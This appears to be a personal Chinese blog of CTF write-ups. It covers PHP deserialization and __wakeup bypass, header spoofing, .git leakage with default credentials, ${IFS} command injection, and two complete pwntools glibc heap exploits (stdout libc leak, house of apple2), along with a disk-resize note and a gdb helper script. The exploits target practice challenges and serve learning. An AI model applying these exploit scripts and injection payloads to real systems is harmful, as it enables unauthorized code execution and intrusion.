35包场咯 拿下册子+海报
从0开始的web生涯 - [SWPUCTF 2021 新生赛]no_wakeup
PHP反序列化函数 考察的主要是绕过_wakeup 当序列化字符串的属性个数和括号内不符就绕过了
import requests
import json
param = "O%3A6%3A%22HaHaHa%22%3A3%3B%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A4%3A%22wllm%22%3B%7D"
url = f"http://node7.anna.nssctf.cn:23157/class.php?p={param}"
resp = requests.get(url=url)
print(resp.text)
从0开始的web生涯 - [SWPUCTF 2021 新生赛]Do_you_know_http
很简单的一题 主要考察header的使用
开头让我们用WLLM浏览器访问 肯定就是检测UA
然后说让我们在本地访问 header有一个头叫X-Forwarded-For 可以轻松绕过
import requests
import json
header = {
'user-agent':'WLLM',
'X-Forwarded-For':'127.0.0.1'
}
url = f"http://node7.anna.nssctf.cn:23001/"
resp = requests.post(url=url,headers=header)
print(resp.text)

从0开始的web生涯 - [SWPUCTF 2021 新生赛]ez_unserialize
看题目是反序列化的,反序列化应该是有点像python的数组转JSON,因为PHP我记得是运行时语言(?好像是这样叫,有可能加个分号什么的可以执行命令
打开只有一只可爱的胡桃。

直接开扫

flag.php进去空白的
根据我的百度seo经验 robots.txt一般有货 robots.txt是让搜索引擎爬虫看的


找到题目了
O:4:”wllm”:2:{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:3:”ctf”;}
因为不是new 一个对象 而是直接反序列化 所以_construct 构造函数不会执行
可以手搓序列化 : O 类名字符数 类名后面的是属性
得到flag
从0开始的web生涯 - [第五空间 2021]WebFTP
目录扫描 信息收集 .git泄露
虽然没怎么接触 盲猜是扫目录 + 扫端口 没怎么接触过kali

扫目录好像是dirsearch 这边装的没找见 更新下源

装上咯
Dirsearch的使用非常简单,只需要在终端中输入相应的命令即可。以下是一些常用的命令选项:
-u:指定目标URL。
-e:指定要扫描的文件扩展名(多个扩展名之间用逗号分隔)。
-w:指定自定义的字典文件(用于生成扫描路径)。
-o:指定输出格式(支持json、csv、txt等)。
-r 递归目录(跑出目录后,继续跑目录下面的目录
–random-agents 使用随机UA
–threads:设置扫描线程数(默认为10)。
例如,要扫描目标URL http://example.com 并输出为JSON格式,可以使用以下命令:

就放在相对目录下的.git 既然提示了git泄露
通过访问/.git/config文件可以正常的访问,config的配置信息中,我们可以看到以下的内容:
- 版本控制系统信息: repositoryformatversion = 0,表明这是 Git 版本 1 的配置。
- 仓库类型: bare = false,表明这是工作目录,并非裸仓库。
- 分支信息: 包含 master 和 localize 两个分支的信息。
- 远程仓库地址: url = XXXXXXXX:XXXXXXXX/radiodetali.git,攻击者通过这个信息可以获取到远程仓库的地址,甚至通过其他漏洞进一步入侵远程仓库。
http://node7.anna.nssctf.cn:28653/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
[remote "origin"]
url = https://github.com/wifeat/WebFTP.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
去github找readme发现默认账号密码
使用说明 1、初始账号 超级管理员 admin 密码 admin888
找老半天找到flag 在phpinfo的environment里面 真傻逼
还可以通过.git 找到
打开是admin 的 密码 md5

从0开始的web生涯 - [SWPUCTF 2021 新生赛]babyrce
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1) {
include "../next.php";
} else
echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!
直接传递cookies admin 为1 就可以
import requests
url = "http://node5.anna.nssctf.cn:29857/"
cookies = {
'admin': "1"
}
resp = requests.post(url=url,cookies=1)
print(resp.text)
得到rasalghul.php
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)) {
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
?>
正则过滤空格 ${IFS}可绕过 ${IFS} - Linux 下的空白字符
import requests
param = "ls${IFS}/"
url = f"http://node5.anna.nssctf.cn:29857/rasalghul.php?url={param}"
resp = requests.get(url=url)
print(resp.text)
flag为flllllaaaaaaggggggg
boot
dev
etc
flllllaaaaaaggggggg
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
结束
记一次vmware linux扩展/(根目录)分区
由于在安装的时候做分区的时候做错了,把大部分空间给了/home 导致根分区一直没什么空间
在编译qemu并安装的时候爆了 开机就弹”unable to start gdm service”
然后报no space left
直接vmware扩展分区
然后fdisk 建立新分区 将老的分区dd过去
dd if=/dev/sda1 of=/dev/sda6 status=progress bs=4M #将/dev/sda1 复制到/dev/sda6
然后
resize2fs /dev/sda6
不需要重新安装grub 随后把/dev/sda1直接删就行
不需要动/etc/fstab 因为克隆过来UUID一样的
注意resize2fs 要不然开机还是没空间
然后就顺利进入系统了
[2021 长城杯_院校组]K1ng_in_h3ap_I - stdout泄露libc初探
题目存在UAF OFF-BY-ONE
通过申请0x*8 的chunk 可以覆盖到size 位
所以可以让不属于unsortbin 的chunk free到unsortbin里面去
然后再free一个chunk造成同时存在于unsortbin fastbin
然后通过拿到_IO_2_1_STDOUT的控制权 覆盖_io_write_ptr指针
让他打印一些地址 然后就可以拿到libc_base
同时学到了 ogg 如果堆栈不平衡 可以写到_realloc_hook
然后__malloc_hook写realloc就平衡了
from pwn import *
from LibcSearcher import *
#from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
io = remote("node7.anna.nssctf.cn",29639)
#io = process("./pwn")
e = ELF('./pwn')
libc = ELF('/home/rick/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def bug():
attach(io)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
dlog = lambda name,data :log.success(f"get {name}=>"+hex(data))
def add(idx,size):
sla(b">> ",str(1))
sla(b"index:",str(idx))
sla(b"size:",str(size))
def delete(idx):
sla(b">> ",str(2))
sla(b"index:",str(idx))
def edit(idx,content):
sla(b">> ",str(3))
sla(b"index:",str(idx))
sla(b"context:",content)
sla(b">> ",str(666))
ru(b"\n")
offset = libc.sym["printf"] - libc.sym["_IO_2_1_stdout_"]
leak_printf_low_addr = int(ru(b"\n",drop=True),16)
stdout_addr_offset = hex(leak_printf_low_addr - offset -0x43)[2:]
add(0,0x28)
add(1,0x30)
add(2,0x60)
add(3,0x20)
edit(0,'a'*0x28+'\xb1')
delete(1) #进入unsortbin
delete(2) #进入fastbin 但是前面有进unsortbin的 所以合并 造成重叠
add(4,0x30)
byte_data = bytes([int(stdout_addr_offset[i:i+2], 16) for i in range(len(stdout_addr_offset)-2, -2, -2)])
edit(2,byte_data)
add(4,0x68)
add(5,0x68) #get stdout - 0x43
edit(5,b'a'*0x33+p64(0xfbad1877)+p64(0)*3+b'\x50')
leak_stdout_131 = uu64(ru(b"1. add")[1:7]) #<_IO_2_1_stdout_+131
dlog("leak_stdout_131",leak_stdout_131)
libc_base = leak_stdout_131 - libc.sym["_IO_2_1_stdout_"] - 131
dlog("libc_base",libc_base)
og = [0x4527a,0xf03a4,0xf1247]
ogg = libc_base + og[0]
malloc_hook_fake_fastbin = libc_base + libc.sym["__malloc_hook"] -0x23
dlog("malloc_hook_fake_fastbin",malloc_hook_fake_fastbin)
add(6,0x68)
delete(6)
edit(6,p64(malloc_hook_fake_fastbin))
add(7,0x68)
add(8,0x68) #get __malloc_hook fake fastbin
edit(8,b'a'*11+p64(ogg)+p64(libc_base+libc.sym["realloc"]+13))
#通过把one_gadget 写到 realloc_hook 然后malloc_hook 写realloc 来达到栈平衡
add(9,0x10)
io.interactive()
参考
[巅峰极客 2022]happy note - 高版本glibc _IO_FILE初探
第一次打高版本的_IO_FILE利用 也算正式进入了 house of家族了。
这次用的是比较简单的house of apple2
因为_wide_data 的 _wide_vtable 没有像正常的_IO_FILE结构的 vtable检查
所以可以通过伪造_IO_LIST_ALL 指向的 _IO_FILE 结构
在伪造指向的_WIDE_DATA 和 修改_IO_FIILE的vtable为_IO_wfile_jumps(可以符合vtable检查)
同时把单链表指向的下一个_IO_FILE结构的_chain值破坏掉 引发刷新 然后就可以碰到one gadget
from pwn import *
from LibcSearcher import *
#from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
#io = remote("node4.anna.nssctf.cn",28710)
io = process("./happy_note")
e = ELF('./happy_note')
libc = ELF('/home/rick/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def bug():
attach(io)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
dlog = lambda name,data :log.success(f"get {name}=>"+hex(data))
def add(size,idx,mode):
sla(b">> ",str(1))
sla(b"size:",str(size))
sla(b"note:",str(idx))
sla(b"or [2]",str(mode))
#mode 1 = calloc mode 2 = malloc only 2 twice
#input 666 can be uaf once
def delete(idx):
sla(b">> ",str(2))
sla(b"note:",str(idx))
def show(idx):
sla(b">> ",str(3))
sla(b"to show?",str(idx))
def edit(idx,content):
sla(b">> ",str(4))
sla(b"note:",str(idx))
sa(b"content:",content)
for i in range(11):
add(0x160,i,1)
for i in range(7):
delete(i)
sla(b">> ",str(666))
sla(b"note:",str(7))
delete(9)
#现在7号区块bk为9号区块的heap_addr ,fd是main_arena , unsortbin没有safe-linking
show(7)
ru(b"content: ")
leak_main_arena = uu64(r(6))
dlog("leak_main_arena",leak_main_arena)
edit(7,b'a'*8)
show(7)
ru(b"a"*8)
leak_heap_addr = uu64(r(6))
dlog("leak_heap_addr",leak_heap_addr)
edit(7,p64(leak_main_arena)+p64(leak_heap_addr)) #fix
libc_base = leak_main_arena - 96 - 0x150 - libc.sym["_IO_2_1_stdin_"] - 144
dlog("libc_base",libc_base)
heap_base = leak_heap_addr - 0xf80
dlog("heap_base",heap_base)
libc_io_list_all = libc_base + libc.sym["_IO_list_all"]
dlog("libc_io_list_all",libc_io_list_all)
enctypted_fd = (leak_heap_addr >> 12)^libc_io_list_all
add(0x90,0,1)
add(0x90,1,1)
delete(1)
delete(7) # idx 0 still uaf
edit(0,p64(enctypted_fd))
add(0x90,1,2)
add(0x90,2,2) # use malloc and get _IO_list_all
fake_file_io_struct = heap_base + 0x1260
fake_wide_data = fake_file_io_struct + 0x210
io_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
dlog("fake_file_io_struct",fake_file_io_struct)
dlog("fake_wide_data",fake_wide_data)
dlog("io_wfile_jumps",io_wfile_jumps)
og = [0x50a37,0xebcf1,0xebcf5,0xebcf8]
ogg = libc_base + og[1]
#edit(10,payload)
add(0x200,3,1) #fake io_list_all
add(0x200,4,1) #_fake_wide_data
add(0x200,5,1) #_fake_wide_vtable
fake_io_list_all_struct = FileStructure()
fake_io_list_all_struct._IO_read_ptr = 0x521
fake_io_list_all_struct._IO_read_end = 0x1000
fake_io_list_all_struct._IO_write_ptr = 0x1000
fake_io_list_all_struct._wide_data = fake_wide_data+0x10
fake_io_list_all_struct.vtable = io_wfile_jumps
fake_io_list_all_struct.chain = 0x1234 #通过把chain设置成乱七八糟的值破坏链表 从而刷新触发ogg
edit(3,bytes(fake_io_list_all_struct))
fake_vtable = heap_base + 0x1680 # idx0
edit(5,p64(ogg)*40) # fill ogg
fake_wide_data = p64(0)+p64(0x510)+p64(0)*0x1a
fake_wide_data += p64(fake_vtable+0x10)
edit(4,bytes(fake_wide_data))
edit(2,p64(fake_file_io_struct+0x10))
#attach(io)
delete(7)#使用 [返回到main函数]触发house of apple2
#现在的接收都是u64(p.recv(5).ljust(8,b’\x00’)) << 12
#而修改heap的fd指针则是(heap_addr >> 12)^target_addr
io.interactive()
两次malloc 一次uaf 可以通过unsortbin切割块进tcache 然后通过uaf改 进tcache的fd 就可以拿到IO_LIST_ALL的写 然后覆盖成伪造的结构 然后触发返回到main函数 就可以触发one_gadget
house家族真心有点难…
pwngdb解决更换libc后不加载符号/_IO_FILE等结构没有符号的问题
之前符号都很正常 知道开始做IO_FILE题目,更换glibc版本后一直找不到_IO_FILE的符号
一开始以为是glibc_all_in_one没有下载debug的glibc 然后看了一下download的输出是有的
放在了.debug目录 查了好久都说pwndbg会自己加载 然后看了pwndbg说glibc没有符号
终于找到了解决方案 看到了这位师傅的文章https://www.cnblogs.com/9man/p/17741818.html
脚本获取,配置
执行vim ~/.pwndbg/gdbinit.py
然后复制下方代码到最底下,然后输入:wq回车,保存退出。
我改了一下添加的脚本
import gdb
import os
from pathlib import Path
# ANSI颜色转义码
COLOR_GREEN = "\033[32m" # 绿色
COLOR_RED = "\033[31m" # 红色
COLOR_RESET = "\033[0m" # 重置颜色
# 递归加载符号文件的函数
def load_symbols_recursive(folder_path):
# 获取文件夹下的所有内容,包括子文件夹
items = os.listdir(folder_path)
for item in items:
item_path = os.path.join(folder_path, item)
if os.path.isfile(item_path):
try:
gdb.execute("add-symbol-file {}".format(item_path))
print(COLOR_GREEN + "[+] Loaded symbols " + COLOR_RESET + "from {}".format(item_path))
except gdb.error as e:
print(COLOR_RED + "[-] Failed to load" + COLOR_RESET + " symbols from {}: {}".format(item_path, e))
elif os.path.isdir(item_path):
load_symbols_recursive(item_path) # 递归处理子文件夹
# 创建一个自定义的GDB命令,用于加载libc路径对应的.debug符号
class LoadLibcDebugSymbols(gdb.Command):
def __init__(self):
super(LoadLibcDebugSymbols, self).__init__("loadlibc", gdb.COMMAND_USER)
def invoke(self, arg, from_tty):
# 解析参数为libc路径
libc_path = arg.strip()
if not libc_path:
print("Usage: loadlibc <libc_path>")
print("Example: loadlibc /home/rick/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6")
return
# 检查文件是否存在
if not os.path.exists(libc_path) or not os.path.isfile(libc_path):
print(COLOR_RED + "[-] Libc file does not exist: {}".format(libc_path) + COLOR_RESET)
return
# 获取.debug文件夹路径
libc_dir = os.path.dirname(libc_path)
debug_dir = os.path.join(libc_dir, ".debug")
# 检查.debug文件夹是否存在
if not os.path.exists(debug_dir) or not os.path.isdir(debug_dir):
print(COLOR_RED + "[-] .debug folder does not exist in: {}".format(libc_dir) + COLOR_RESET)
return
# 先加载libc本身的符号
try:
gdb.execute("sharedlibrary libc.so.6")
print(COLOR_GREEN + "[+] Loaded libc.so.6 symbols" + COLOR_RESET)
except gdb.error as e:
print(COLOR_RED + "[-] Failed to load libc.so.6 symbols: {}".format(e) + COLOR_RESET)
# 然后加载.debug文件夹中的符号
print(COLOR_GREEN + "[*] Loading debug symbols from: {}".format(debug_dir) + COLOR_RESET)
load_symbols_recursive(debug_dir)
LoadLibcDebugSymbols()
用法:loadlibc [libc路径]
会自动查找libc路径下的.debug文件夹并且加载符号